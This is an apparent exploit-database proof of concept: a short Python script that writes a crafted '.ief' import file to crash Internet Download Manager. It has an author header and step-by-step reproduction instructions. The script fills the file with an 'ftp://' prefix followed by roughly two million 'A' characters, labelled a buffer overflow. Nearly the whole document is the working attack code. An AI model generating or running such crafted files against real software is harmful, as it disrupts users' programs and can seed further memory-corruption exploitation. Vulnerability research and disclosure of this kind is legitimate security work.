Internet Download Manager - .ief Crash (PoC)

#!/usr/bin/env python
# Title : Internet Download Manager - Crash Proof Of Concept
# Affected Versions: All Version
# Founder : InternetDownloadManager
# Tested on Windows 7 / Server 2008
#
#
# Author      :   Mohammad Reza Espargham
# Linkedin    :   https://ir.linkedin.com/in/rezasp
# E-Mail      :   me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
# Website     :   www.reza.es
# Twitter     :   https://twitter.com/rezesp
# FaceBook    :   https://www.facebook.com/mohammadreza.espargham
#
#
# downlWithIDM64.dll Exploit
#
#
# 1 . run python code : python crash.py
# 2 . open "IDM"
# 3 . Tasks --> Import --> From IDM export file
# 4 . select r3z4.ief
# 5 . Crashed ;)


hdr = "<" #start syntax
hcr = "ftp://" #pro
crash = "\x41"*1992999 #B0F
exp = hdr+hcr+crash+hdr+hcr+crash
file = open("r3z4.ief", "w")
file.write(exp)
file.close()